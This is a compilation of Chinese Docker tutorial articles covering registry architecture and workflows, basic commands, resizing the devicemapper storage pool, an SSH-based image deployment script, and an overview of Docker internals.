	镜像和仓库和 GitHub 一样，可以被收藏和被 “star”。

	和 GitHub 一样，可以在仓库上面留评论以便和维护人员进行交流。

	和 Github 类似私人仓库不能被搜索到，只有拥有合作者、拥有者权限的用户才能访问。

	推送成功之后可以配置 webhook。



Docker Registry 由三个部分组成：Index、Registry、Registry Client。



  可以把 Index 认为是负责登录、负责认证、负责存储镜像信息和负责对外显示的外部实现，而 Registry 则是负责存储镜像的内部实现，而 Registry Client 则是 Docker 客户端。




Docker Hub 架构


Docker Index


Docker Index 使用以下工具来维护用户信息、校验镜像、以及维护公共 namespace：



	网页界面

	元数据存储

	认证服务

	令牌化



同时 Docker Index 也用来分解 URL，方便用户认证和用户使用。


Registry


Registry 用来存储镜像和统计数据。然而它不会提供数据库服务，即它不会提供用户认证服务，由 S3、云文件和本地文件系统提供数据库支持。另外，由 Index 通过 Token 进行用户认证。有多种不同的 Registry，下面是其中几个的例子：



	
Sponsor Registry 第三方 Registry，为客户和 Docker 社区提供服务。

	
Mirror Registry 第三方 Registry，只为客户提供服务。

	
Vendor Registry 由发布 Docker 镜像的供应商提供的 Registry。

	
Private Registry 通过多重安全检查进行认证的私有 Registry。



Registry Client


用于进行 pull 和 push 的操作，同时用于 docker push 时的登录认证。


为了更好地理解 Registry Client 的工作流程，下面将详细描述一下五个案例中的 Docker Registry 工作流程。


情景 A：从官方仓库 Pull 镜像



	用户对 Index 发出下载请求

	Index 返回以下三个部分的信息：


	镜像所在的 Registry。

	镜像所有的层的校验

	认证之后的 Token





	用户使用 Token 和 Registry 进行通信，Registry 负责存储镜像和叠加在镜像上面的改动层。

	Registry 确认是否是 Index 所发出的的 Token。

	Index 返回确认值，由此判断用户是否可以下载镜像。

>只有在请求的 header 里有 X-Docker-Token 时才会返回 Token。私有仓库需要认证，而公有仓库不需要认证。






情景 B：Push 镜像到 Registry



	用户向 Index 发送凭证，并要求分配 repository 名称。

	认证 namespace 的可用性后，分配 repository 名称，同时 Index 返回一个临时 Token。

	向 Registry 发送 Token 和镜像。

	Registry 向 Index 确认 Token，确认完毕之后读取推送流。

	Index 更新相关的镜像信息。






情景 C：从 Index 和 Registry 删除一个镜像



	Index 收到 delete 某个 repository 的请求。

	进行 repository 认证和用户认证，成功后 Index 给客户端返回一个临时 Token。

	Registry 收到删除信号和 Token。

	Registry 向 Index 验证 Token，然后删除对应的镜像文件。

	Registry 通知 Index 已经删除，Index 删除数据库中的所有相关的 repository 记录。






情景 D：在没有 Index 的情况下使用 Registry


没有 Index 的 Registry 是完全受 Docker Clinet 控制的。这种模式最适合在私有网络中存储镜像文件。Registry 运行在一个和 Index 没有通信的环境中，所有的认证问题和安全问题都需要用户自己解决。


情景 E：在有 Index 的独立模式中使用 Registry


在这种情况下，用户需要自己架设一个 Index 去解决存储和认证问题。当然，这种情况下可能会出现和官方 Index 时间不同步的问题。Docker 官方也提供了一个非常有意思的东西叫做 chaining registries，主要是为了解决负载均衡和为具体请求指定具体的 Registry。

当然，我们可以参考 自己搭建本地 Docker Hub 服务 来搭建本地的 Docker Hub。。


接下来的文章中将会继续介绍如何在以上每个场景中使用 Docker Registry API，并且也会深入了解 Docker 安全。


 Docker学习笔记-了解什么是Docker

作者：adolphlwq

来源： Docker学习笔记-了解什么是Docker
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What is Docker?


Docker是一个为开发者和系统管理员构建，部署，运行分布式应用的开源平台。包括：Docker Engine，可移植的轻量运行环境和包管理工具，及Docker Hub。Docker Hub是为分享应用和自动化工作流服务的云服务。Docker能够做到apps快速从组件装配并且消除开发，质量评估和产品环境间的冲突。因此，它可以在不改变文件的情况下，在电脑上，数据中心虚拟机，任何云上运行同一款app


Why do developers like it?


有了Docker，开发者可以用任何语言，使用任何工具链构建任何应用。Docker化的应用完全可移植，并且到处运行：OS x，windows，云上的ubuntu或者是RED HAT上的产品数据中心虚拟机


Docker Hub上有13000+的apps，帮助开发者快速的开始开发。由Docker来管理，跟踪变化和依赖关系。系统管理员可以很容易地理解由开发者开发的app是如何工作的。有了Docker Hub，开发者可以自动构建他们自己的管道或者和合伙人通过共有或者由repositories来发布他们的产品


Docker帮助开发者开发，部署，快速的高质量应用。


Why do sysadmins like it?


系统管理员为他们（development, QA, and production teams）减少在自己电脑上运行带来的调整时间。通过Docker化app平台和app的依赖环境，系统管理员抽象的剥离了操作系统发行版本和底层的基础设施之间的差异。


此外，Docker Engine模块的标准化并以此作为部署单元使系统管理员更灵活的调整工作量。无论是否是空的物理机，或者data center VMs或者公共云，在基础架构技术的帮助下，workload deployment会更加的灵活。workload deployment会被企业的政策和次序来驱动。另外，Docker Engine的轻量运行环境允许快速的上架和下架以此响应需求的快速变化。


总的来说，Docker帮助系统管理员快速，稳定地在任何基础设施上部署和运行任何应用。


How is this different from Virtual Machines?


Virtual Machines





每个运行在虚拟机里的应用本身大小的数量级在MB，而再加上应用依赖的包和二进制库以及运行应用的虚拟机后，整个系统的大小就会达到惊人的GB级别


Docker





Docker引擎容器仅仅包含一个用和它的依赖项，它作为一个孤立的进程运行在操作系统的用户空间，和其它容器共享内核。因此，它享有特定的资源和虚拟机易部署的优势，但更加便捷和高效。


try it


shelldocker version
docker search imageName
docker pull image(<username>/<repository>)
docker run [image name] [command]
docker run [image name] [apt-get install -y ping]




  Save your change for image




保存更改使你下次使用这个镜像时能够从这个点开始运行镜像

docker中用来保存状态的操作叫做commit


shelldocker ps -l    查看要保存的进程ID
docker commit id [new image name]
docker commit 698a learn/ping
docker run learn/ping ping www.baidu.com
docker inspect [image id] 查看image的详细信息




  push you images to Docker Hub




languagedocker images....查看当前主机上有多少个镜像
docker push [image name]



 Docker 环境 Storage Pool 用完解决方案：resize-device-mapper

作者：刘阳龙Herman

来源： Docker 环境 Storage Pool 用完解决方案：resize-device-mapper



                    
问题引出


今日笔者docker下出现诡异问题，在容器中vim编辑文件，保存是，一直提示 “E667: Fsync failed”，而且在同一个宿主机上的容器均有此问题，遂怀疑环境故障，且与存储相关，后偶然运行命令“docker info”，发现异常信息：


Containers: 26
Images: 12
Storage Driver: devicemapper
 Pool Name: docker-8:3-6684808-pool
 Pool Blocksize: 65.54 kB
 Backing Filesystem: extfs
 Data file: 
 Metadata file: 
 Data Space Used: 107.4 GB
 Data Space Total: 107.4 GB
 Metadata Space Used: 65.48 MB
 Metadata Space Total: 2.147 GB
 Udev Sync Supported: true
 Library Version: 1.02.89-RHEL6 (2014-09-01)
Execution Driver: native-0.2
Kernel Version: 2.6.32-504.el6.x86_64
Operating System: <unknown>
CPUs: 8
Total Memory: 15.58 GiB
Name: lx-vm01.lianjia.com.vm
ID: T2YG:HFF3:DEZP:5SDU:4B2K:B76F:AUHD:YYVA:DXPS:AVZL:X4WQ:BQFZ
Username: liuyanglong
Registry: [https://index.docker.io/v1/]



其中可看到，Data Space Used 已和 Data Space Total一样，storage Pool用完，呃。。。。

docker start默认分配的device mapper的storage pool就是100G，它会把你所有的容器存储到一个 100G 的简短文件中，并且限制每个容器最大为 10GB


以下解决方案来自：http://jpetazzo.github.io/2014/01/29/docker-device-mapper-resize/


它的工作原理


要真正理解我们要做的事情，首先来了解 Device Mapper 插件的工作原理。


它是基于 Device Mapper 的“精简目标”的特性。它实际上是目标块设备的快照，之所以被称为“精简”是因为它允许精简配置。精简配置意味着你有一个（希望很大）可用存储块的池，接着你可以从那个池中创建任意大小的块设备（虚拟磁盘，如有需要）；在你实际读写后，这些存储块将会被标记为已使用（或者从池中拿走）。


这意味着你是可以超额使用这个池，比如在一个 100GB 的池里面创建几千个 10GB 的卷，甚至可能是一个 100TB 的卷在一个 1GB 的池里面。只要你的实际读写的块的容量不大于池的大小，你怎么做都 OK 。


除此之外，精简目标的方式是可以做快照的。这表明无论何时，你都可以创建一个存在的卷的浅拷贝。在用户看来，就像你有两个一样的卷，它们可以独立地各自修改。即使你做了一个完整的拷贝，除了在时间上它是瞬间发生的（即使是很大的卷），它们不会两次重复使用存储。额外的存储只有当其中任何一卷有变化的时候才会发生，然后精简目标会从池里面分配一个存储快。


从本质上来看，“精简目标”实际上使用了两个存储设备：一个（大）的是存储块池自己，还有一个小的存储了一些元数据。这些元数据中包括了卷、快照、以及每个卷的块或者快照同存储池中块的映射信息。


当 Docker 使用 Device Mapper 存储插件的时候，它会在 /var/lib/docker/devicemapper/devicemapper/data 和/var/lib/docker/devicemapper/devicemapper/metadata 下创建两个文件（如果它们不存在）来存储对应的存储池和相关的元数据。这非常方便，你不需要做任何安装部署的工作（你不需要额外的分区来存储 Docker 容器，或者建立 LVM 或其他类似的东西）。然而它也有两个缺点：



	存储池会有一个默认 100GB 的容量

	它将会被稀疏文件所支持。从磁盘的使用效率的观点来看，这还不错的（就像在精简池中的卷，它一开始是小的，只有当实际需要写的时候才会使用磁盘的存储块）。但是从性能的角度来看就不那么好了，因为 VFS 增加了一些额外的负担，特别是"第一次写的时候"。



在了解如何调整容器的大小之前，我们来试试看如何给池增加更多空间。


我们需要一个更大的池


警告：下面的操作会删除你所有的容器和镜像，确保你已经把之前的数据做了备份！


记住上面说过的，当数据和元类信息文件不存在的时候 Docker 会创建它们，所以解决方案非常简单：在启动它们之前，在 Docker 里创建这些文件！


停止 Docker 守护进程，因为我们将要重新设置我们的存储插件，如果我们在运行的时候移除文件，那么糟糕的事情就将发生。



	擦去 /var/lib/docker。（警告：正如前面提到的，这个操作会把你所有的容器和镜像都删除掉。）


	创建存储目录： mkdir -p /var/lib/docker/devicemapper/devicemapper


	创建你的池： dd if=/dev/zero of=/var/lib/docker/devicemapper/devicemapper/data bs=1G count=0 seek=250 ，创建一个 250G 的稀疏文件。如果你指定 bs=1G count=250（不使用 seek 选项），那么它会创建一个普通文件（而不是一个稀疏文件）。


	重启 Docker 守护进程。提示：在默认情况下，如果你有 AUFS 的支持， Docker 会使用它；所以如果你要强制使用 Device Mapper 的插件，需要在启动 Docker 的命令中增加 -s devicemapper 的选项。


	使用 docker info 来检查 Data Space Total 的值是否正确。




我们需要一个更快的池


警告：下面的操作也会删除你所有的容器和镜像。确保把你重要的镜像保存在 registry 中，保存你容器里面的重要数据。


要获得一个更快速的池，最简单的办法就是使用一个真实的设备而不是一个基于文件的循环设备。过程几乎一样。假设你有一个完全空的硬盘， /dev/sdb，你想把它完全用于容器的存储，你可以这样做：



	停止 Docker 守护进程

	移除 /var/lib/docker （似曾相识，对么？）

	创建一个存储目录： mkdir -p /var/lib/docker/devicemapper/devicemapper


	
在目录下创建一个数据软链接，指向设备：


ln -s /dev/sdb /var/lib/docker/devicemapper/devicemapper/data




	重启 Docker

	使用 docker info 来检查 Data Space Total 的值是否正确



使用 RAID 和 LVM


如果你希望合并多块相似的磁盘，可以使用 RADID10 软件，这个会通过链接到 /dev/md 而实现。另外一个非常好的选择是把你的磁盘（或者RAID磁盘阵列）放到 LVM 的物理卷中，并且创建两个逻辑卷：一个是数据，一个是元数据。对于元数据池的最佳的大小我没有什么特别的建议，不过占数据池的 1% 看起来不错。


就像前面一样，停止 Docker ，移除它的数据目录，然后创建一个指向 /dev/mapper 设备的符号链接，然后重启 Docker 。


如


ln -s /dev/mapper/vg_dockerdev-LogVol01 /var/lib/docker/devicemapper/devicemapper/data



之后重启docker即可。


扩容容器


默认来说，如果你使用 Device Mapper 的存储插件，所有的镜像和容器是从一个初始 10G 的文件系统中创建的。让我们来看看如何从一个更大的文件系统中创建一个容器。


首先，我们用 Ubuntu 的镜像来创建我们的容器。我们不需要在这个容器里运行任何东西，只需要这个文件（或者关联的文件系统）存在。为了演示，我们会在这个容器里运行 df ，来看一下根文件系统的大小。


$ docker run -d ubuntu df -h /
4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603



由于需要修改 Device Mapper 管理中的一些卷的信息，我们现在用 root 的身份来运行一些命令。所有以＃开头的命令都必须以 root 身份来执行。只要能访问 Docker 的 Socket 服务，你也可以用普通用户的身份来执行其他的命令（以$开头）。


让我们看一下 /dev/mapper ，那里应该有一个对应容器文件系统的符号链接，以 docker-X:Y-Z- 开头：


ls -l /dev/mapper/docker-*-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603
lrwxrwxrwx 1 root root 7 Jan 31 21:04 /dev/mapper/docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603 -> ../dm-8



注意记住那个全名，我们未来会用到。


首先让我们来看一下当前卷的信息表：


 dmsetup table docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603
0 20971520 thin 254:0 7



第二个数字是设备的大小，表示有多少个 512－bytes 的扇区. 这个值略高于 10GB 的大小。


我们来计算一下一个 42GB 的卷需要多少扇区，


$ echo $((42*1024*1024*1024/512))
88080384



精简快照目标的一个神奇的特点是它不会限制卷的大小。当你创建它的时候，一个精简的卷使用0个块，当你开始往块里面写入的时候，它们会从共用的块池中进行分配。你可以写0个块，或者是10亿个块，这个和精简快照目标没关系。文件系统的大小只和 Device Mapper 表有关系。


觉得困惑？不要担心。我们只是需要装载一个新的表，这个完全和之前的是一样的，但是有更多的扇区。仅此而已。


旧表是 0 20971520 thin 254:0 7 。我们会改变第二个数字，要非常小心保持其他的值不变。你的卷可能不是 7 ，所以要使用正确的值!


这样操作：


# echo 0 88080384 thin 254:0 7 | dmsetup load docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603



现在如果我们再次检查表的信息，步骤和前面一样。首先使用下面的命令激活新表:


# dmsetup resume docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603



执行完命令后，再次检查一下表的信息，发现它会使用新的扇区数量。


我们已经调整了块设备的大小，但是我们仍然需要调整文件系统的大小，我们使用 resize2fs 来操作:


# resize2fs /dev/mapper/docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603
resize2fs 1.42.5 (29-Jul-2012)
Filesystem at /dev/mapper/docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603 is mounted on /var/lib/docker/devicemapper/mnt/4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 3
The filesystem on /dev/mapper/docker-0:37-1471009-4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603 is now 11010048 blocks long



作为一个可选步骤，我们会重启容器，检查一下我们的确有了正确大小的空闲空间:


$ docker start 4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603
$ docker logs 4ab0bdde0a0dd663d35993e401055ee0a66c63892ba960680b3386938bda3603
df: Warning: cannot read table of mounted file systems: No such file or directory
Filesystem      Size  Used Avail Use% Mounted on
-               9.8G  164M  9.1G   2% /
df: Warning: cannot read table of mounted file systems: No such file or directory
Filesystem      Size  Used Avail Use% Mounted on
-                42G  172M   40G   1% /



想把整个过程自动化起来？当然没问题。


CID=$(docker run -d ubuntu df -h /)
DEV=$(basename $(echo /dev/mapper/docker-*-$CID))
dmsetup table $DEV | sed "s/0 [0-9]* thin/0 $((42*1024*1024*1024/512)) thin/" | dmsetup load $DEV
dmsetup resume $DEV
resize2fs /dev/mapper/$DEV
docker start $CID
docker logs $CID



扩容镜像


不幸的是，当前版本的 Docker 不能让我们很方便地扩容镜像。你可以把镜像对应的块设备进行扩容，然后从它来创建一个容器，但是新的容器不会有正确的大小。


同样，如果你提交了一个很大的容器，最后生成的镜像也不会很大（这是由 Docker 为镜像准备文件系统的方法造成的）。


这意味着如果一个容器真的超过了 10GB ，在不使用一些其他的小技巧的情况下，你没法正确的把它提交为一个镜像。


总结


Docker 将来肯定会提供一些更好的方法来扩容容器，所需的代码变动是很小的。管理一个精简的池和对应的元信息比较复杂（因为这个需要很多不同的操作流程，以及一个潜在的数据迁移。鉴于移除了所有的东西来构件新的池，也就没有在本文提及），但是我们今天提到的一些解决方案相信已经对你有所帮助。


 使用 SSH 和 shell 脚本部署 Docker 镜像

作者：大舒

来源： 使用 SSH 和 shell 脚本部署 Docker 镜像



                    




  译者按：在本专栏的前面的文章中，我们已经提到过使用 Docker 的基本方法，因此本次讲解一下 使用 SSH 和 shell 脚本进行 Docker 镜像的自动化部署，原文仅供参考，因为对于 Docker 镜像，我们可以有更好的解决方案：Docker Registry Hub。但是，本文仍然可以作为 shell 脚本的参考范例。




背景


当我们将本站转移到 Docker 容器内之后，我一直在寻求能进行自动化构建和部署镜像的方法。毫无疑问，Docker 本身是一个非常完美的应用容器，但是 Docker 并没有提供能够自动化更新镜像的标准方法。当然，我写了一些 shell 脚本，实现了 Docker 容器镜像的自动化部署。


我们假设基础架构是一台 Linux 宿主机和几个独立的 Docker 镜像，没有网站运行时产生的动态文件，例如用户上传的文件。

当然，要解决这些动态文件也非常简单，本篇文章中的脚本只需要修改一小部分，然后加上 data only container 便可以完美解决动态文件的问题。


那么，我们开始进行自动化部署吧。


脚本


脚本的初衷非常简单：构建镜像，上传镜像，使用新镜像重启容器。我们会分段讲解脚本，当然你只需要把本文的脚本段落组合起来，便可以执行自动化部署了。


假设我们的 apache 文件在 apache/ 子目录，一个监控程序在 monitoring/ 子目录。


设置环境


假设我们的脚本名称为 deploy.sh，使用如下命令进行初始化：


#!/bin/bash

set -e

REMOTE_USERNAME="..."
REMOTE_HOST="..."
IMAGE_REPOSITORY="my_repository"



前面两个变量并不需要解释，后面上传镜像的时候用的到。

最后一个变量是 Docker 镜像的名称，你需要设置自己的镜像名称，在后面我们也会有这个名称进行检测。


再后文中我们会建立同一个名称但是 tag 不同的两个镜像分别存储 apache 和 monitor。


构建


第一件要做的事情便是构建镜像，构建过程和普通的 Docker 命令一样。我们写了一个函数专门用来构建镜像：


function build_image {
    docker build -t $IMAGE_REPOSITORY:$1 $2
}

build_image apache apache/
build_image monitoring monitoring/



我们使用上面的已经定义的 IMAGE_REPOSITORY 名称命名镜像，并且对我们的两个 apache 和 monitoring 镜像贴标签。


上传


当然本专栏的前文中提到，镜像可以输出到文件，也可以由文件输入。当然也可以从标准输入输出流进行输入输出。我们使用标准输入输出流和管道进行操作。这个输入和上传的操作很容易用一行 shell 语句写出来。


docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'



当然，成熟的程序员都会写个函数，顺便做做重复性检测，毕竟几百 M 的文件呢，上传都要好久，还能节省带宽。尤其是有很多镜像需要上传的时候，万一有几个重复的呢。我们所需要的就是按照镜像名称和标签列出本机和远程服务器上的 Docker 容器的 ID，然后检测他们的 ID 是否相同。


本节的 shell 脚本如下。


function upload_image_if_needed {
    if [[ $(ssh $REMOTE_USERNAME@$REMOTE_HOST "docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3") != $(docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3) ]]
    then
        echo "$1 image changed, updating..."
        docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'
    else
        echo "$1 image did not change"
    fi
}

upload_image_if_needed apache
upload_image_if_needed monitoring



更新容器


上面说的是更新镜像，本节讲的是更新容器。

现在是最后一步，我们需要使用新镜像重启容器。当然，和其他的语言一样，我们可以将远程主机上的命令写成本机上的输入形式：


ssh -tt $REMOTE_USERNAME@$REMOTE_HOST << EOF

...

exit
EOF



然后判断容器是否存在，如果存在就结束容器。


docker rm -f ${IMAGE_REPOSITORY}_apache || true
docker rm -f ${IMAGE_REPOSITORY}_monitoring || true



注：可能有读者对 docker rm -f ${IMAGE_REPOSITORY}_apache 这条命令感到不解，在此解释一下。原文作者使用制定名称 ${IMAGE_REPOSITORY}_apache 对容器进行命名。


|| 是必需的，因为如果容器不存在的话，docker rm 命令便会返回一个错误。我们只需要删除容器，并不去判断他们是否存在。不存在的也就不用删除，当然，删除也没问题。


下面一步便是启动容器：


docker run -d --name ${IMAGE_REPOSITORY}_apache $IMAGE_REPOSITORY:apache
docker run -d --name ${IMAGE_REPOSITORY}_monitoring $IMAGE_REPOSITORY:monitoring



完整版本


为了便于阅读，我特意整理了所有脚本的完全版，如下：


#!/bin/bash

set -e

REMOTE_USERNAME="..."
REMOTE_HOST="..."
IMAGE_REPOSITORY="my_repository"

function upload_image_if_needed {
    if [[ $(ssh $REMOTE_USERNAME@$REMOTE_HOST "docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3") != $(docker images $IMAGE_REPOSITORY | grep $1 | tr -s ' ' | cut -d ' ' -f 3) ]]
    then
        echo "$1 image changed, updating..."
        docker save $IMAGE_REPOSITORY:$1 | bzip2 | pv | ssh $REMOTE_USERNAME@$REMOTE_HOST 'bunzip2 | docker load'
    else
        echo "$1 image did not change"
    fi
}

function build_image {
    docker build -t $IMAGE_REPOSITORY:$1 $2
}

build_image apache apache/
build_image monitoring monitoring/

upload_image_if_needed apache
upload_image_if_needed monitoring

ssh -tt $REMOTE_USERNAME@$REMOTE_HOST << EOF
docker rm -f ${IMAGE_REPOSITORY}_apache || true
docker rm -f ${IMAGE_REPOSITORY}_monitoring || true

docker run -d --name ${IMAGE_REPOSITORY}_apache $IMAGE_REPOSITORY:apache
docker run -d --name ${IMAGE_REPOSITORY}_monitoring $IMAGE_REPOSITORY:monitoring

exit
EOF



结论


Docker 确实是容器中的佼佼者，而且有很好的命令行支持，但是目前还是缺少能便捷部署 Docker 容器的方式。当然，通过几段简单的脚本，我们便可以解决这个问题。我希望这些脚本也能帮助到你。


译者的话


本文对容器的操作比较简单粗暴，使用 docker rm 命令进行强行删除，可能会导致一段时间（一般不到半分钟，视情况而定）的网站 403，404 或者 503。

除此之外，本文的 shell 操作可以当成是 shell 远程执行命令的范例。


本专栏将继续推出 Docker 系列文章，欢迎关注。
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【编者的话】本文来自 Docker 的官方文档，详细介绍了 Docker 的体系结构、重要概念、内部工作机理等内容，推荐不了解 Docker 内部原理的同学阅读。


什么是 Docker？


Docker 是一个用于开发、交付和运行应用的开放平台，Docker 设计用来更快的交付你的应用程序。Docker 可以将你的应用程序和基础设施层隔离，并且还可以将你的基础设施当作程序一样进行管理。Docker 可以帮助你更块地打包你代码、测试以及部署，并且也可以减少从编写代码到部署运行代码的周期。


Docker 将一个轻量级的容器虚拟化平台和一组标准工作流程、工具进行集成，来帮助你方便地管理和部署应用。


核心是，Docker 提供了一种在安全隔离的容器中运行近乎所有应用的方式，这种隔离性和安全性允许你在同一主机上同时运行多个容器，而容器的这种轻量级特性，意味着你可以节省更多的硬件资源，因为你不必消耗运行 hypervisor 所需要的额外负载。


基于容器虚拟化的工具或者平台可以为你提供如下帮助：



	将应用程序（包括支撑的组件）放入Docker容器中；

	将这些容器打包并分发给你的团队，以便于后续的开发和测试；

	将这些容器部署到生产环境中，生产环境可以是本地的数据中心，也可以在云端。



我可以用 Docker 做些什么？


快速分发你的应用


Docker是开发过程中较为理想的助手，它允许你在包含了你的应用和服务的本地容器中进行开发，然后帮你完成集成和部署。


例如，你的开发人员可以在本地编写代码然后通过Docker与其他同事共享，当他们完成了各自的开发任务后，可以将他们的代码推送到一个测试的环境中进行测试，完成测试后便可以将相应的Docker镜像部署到生产环境中。


更方便地进行部署和调整规模


Docker这种基于容器的平台具有高度的便携性，它可以无缝地运行于开发者的本地主机、数据中心其它的物理机或虚拟机、或者云端。


Docker的便携性和其天然的轻量特性易于实现动态地负载管理，你可以利用Docker快速地增减应用和服务的部署规模，Docker的速度保证了这种规模的调整近乎实时。


更高密度的部署应用和运行更多的应用


由于Docker轻量并且快速，因此相对于基于Hypervisor的虚拟机的部署方式，Docker提供了一种更可行和划算的替代方案，这对于高密度部署环境尤其有用，例如在构建私有云或PaaS。当然，当你想在有限的资源里部署更多的应用时，Docker对于中小型的部署也非常有用。


Docker 主要包括哪些组件？


Docker主要包括两个组件：



	Docker：开源的容器虚拟化平台；

	
Docker Hub ：用于分享和管理Docker容器的软件即服务平台。



注：Docker在Apache 2.0开源协议下进行授权。


Docker 的架构？


Docker是Client/Server的架构，Docker客户端与Docker daemon进行交互，daemon负责构建、运行和发布Docker容器。客户端可以和服务端运行在同一个系统中，也可以连接远程的daemon。Docker的客户端的daemon通过RESTful API进行socket通信。


[


Docker 守护进程


就像上图所示，Docker守护进程（daemon）在主机上运行，用户不能直接和守护进程打交道，但是可以通过Docker客户端与其进行交互。


Docker 客户端


Docker客户端——docker二进制文件的功能之一——是Docker的初始用户界面，它接收用户的命令并反馈，并且与Docker的守护进行交互。


Docker 内部机制


理解Docker的内部机制，你需要明白如下三个组件：



	Docker镜像

	Docker注册中心

	Docker容器



Docker 镜像


Docker镜像是一个只读的模板。例如，一个镜像可以包含安装了Apache Web服务应用的Ubuntu操作系统。镜像可以用来创建Docker容器。Docker提供了构建新镜像或升级原有镜像的较为便利的方式，或者你也可以下载别人已经创建好的镜像。Docker镜像是Docker的构建组件。


Docker 注册中心


Docker注册中心用于上传和下载镜像，分为公共注册中心和私有注册中心两种。公共注册中心为Docker Hub，它提供了大量的现成镜像，你可以构建自己的镜像并上传到上面，也可以在上面下载别人构建的镜像。Docker注册中心是Docker的发布组件。


Docker 容器


Docker容器就像是一个文件夹，它包含了一个应用程序运行所需要的所有内容。每个容器都是基于Docker镜像构建。我们可以运行、开始、停止、迁移或者是删除Docker容器。每个容器均是一个隔离的、安全的应用平台。Docker容器是Docker的运行组件。


Docker 怎样工作的


至此，我们已经知道了：



	你可以构建用于存储你的应用程序的镜像；

	你可以从Docker镜像中创建容器用来运行你的应用；

	你可以通过Docker Hub或者你自己的注册中心来共享Docker镜像。



那我们看看 Docker 是怎么将这些元素组合在一起工作的。


Docker 镜像是如何工作的


我们已经知道Docker镜像实质上是一些用于加载Docker容器的只读模板，每个镜像包括很多层。Docker利用union file systems将这些层组合为一个镜像。Union file systems允许相互隔离的文件或目录透明的叠加在一起，而呈现为一个统一的文件系统。


Docker如此轻量化的原因也是由于这些层的存在。当你对一个Docker镜像进行修改时——例如将一个应用升级为一个新的版本——会构建一个新的层，因此，与虚拟机的替换整个镜像或完全构建的方式不同，Docker仅对相关的层进行添加或升级。所以你仅需要发布镜像的更新部分而不必发布整个镜像，这种方式使得镜像的发布更加快速和简单。


每个镜像始于一个基础镜像，例如：ubuntu便是一个基础的Ubuntu镜像，fedora是一个基础的Fedora镜像。你也可以将你自己制作的镜像作为基础镜像，例如你可以将一个Apache镜像作为一个Web应用的基础镜像。



  注意：Docker一般从Docker Hub上获取基础镜像。Docker镜像从这些基础镜像中按照一系列的步骤进行制作，我们称这些步骤为指令，每个指令在你的镜像中创建一个新的层，指令包括以下行为：





	运行一条命令；

	添加一个文件或目录；

	创建一个环境变量；

	从此镜像中加载一个容器时需要运行的进程。



这些指令存储在Dockerfile中，Docker在构建镜像过程中读取这个Dockerfile，运行里面的指令并返回最终的镜像。


Docker注册中心如何工作的


Docker注册中心是Docker镜像的存储中心，当你构建完一个镜像后便可以将其推送到Docker Hub或你自己的注册中心。


利用Docker客户端，你可以搜索已经发布的镜像，然后将其拉取到你的Docker主机上，以便于基于这些镜像构建容器。


Docker Hub为镜像提供了公共的和私有的存储空间。公共的存储空间任何人均可以在上面搜索和下载，私有存储空间仅对你本人或你的团队开放搜索以及拉取下载，你可以通过这里注册一个私有的存储空间。


容器是如何工作的


一个容器包括操作系统、用户添加的文件以及相关的元数据。我们知道，每个容器都是从镜像中构建出来的，这个镜像告诉Docker容器用到什么资源、当容器加载时启动哪个进程以及容器启动时的其它配置。Docker镜像是只读的，当Docker从一个镜像运行一个容器时，它会在镜像的上层添加一个用于运行应用的可读写的层（利用的就是上文提到的union file system）。


运行一个容器时到底发生了什么


不管是通过Docker命令还是API调用的方式，Docker客户端都会通知Docker的守护进程运行一个容器。


sudo docker run -i -t ubuntu /bin/bash



我们来看一下这个命令，Docker客户端利用docker命令并结合run选项来启动一个容器，一个最小配置的Docker客户端运行一个容器需要告诉Docker守护进程以下事项：



	此容器基于什么镜像来构建，此处是ubuntu——一个基础的Ubuntu镜像；

	需要在容器中运行的命令，此处是/bin/bash——在容器中启动一个Bash Shell。



那么我们看看运行上述命令时到底发生了什么？


按照顺序，Docker依次干了如下事情：



	
拉取ubuntu镜像 : Docker首先检查一下ubuntu镜像在本地服务器上存不存在，如果不存在，则自动从Docker Hub中下载，如果已经存在则直接利用这个镜像来启动一个新的容器。

	
创建一个新的容器: 如果Docker本地服务器中存在这个镜像，那么就据此来启动一个容器。

	
分配一个文件每户并且将其挂载到一个可读写的层: 容器在此文件系统中被创建，并且将其作为一个可读写的层添加到镜像中。

	
分配一个网络或桥接的接口: 创建一个网络的接口以便于Docker容器能够访问本机。

	
设置一个IP地址: 为此容器从地址池中找到并绑定一个IP地址。

	
执行指定的进程: 运行你的应用程序，然后；

	
获取并提供应用程序的输出: 连接标准输入、标准输出和标准错误接口，这样你便可以观察到程序运行的一切。



现在你已经运行了一个容器，这样你便可以管理你的容器、与应用程序进行交互，当运行结束是停止或者删除你的容器。


底层技术问题


Docker是用Go语言实现的，用到了一些Linux内核的特性实现上述功能。


命名空间（namespaces）


Docker在为容器提供一个隔离的工作空间时，用到了命名空间的技术，当你运行一个容器时，Docker会为此容器创建一组命名空间。


这样便可以提供一个隔离的层：每个容器运行在自己的命名空间中，而外部不能访问这个层。


Docker用到的一些命名空间有：



	
pid命名空间: 用于隔离进程（PID：Process ID）；

	
net命名空间: 用于管理网络；

	
ipc命名空间: 用于访问IPC资源（IPC：InterProcess Communication）；

	
mnt命名空间: 用于管理挂载点（MNT：Mount）；

	
uts命名空间: 用于隔离内核和版本标识（UTS：Unix Timesharing System）。



控制组（Control Groups）


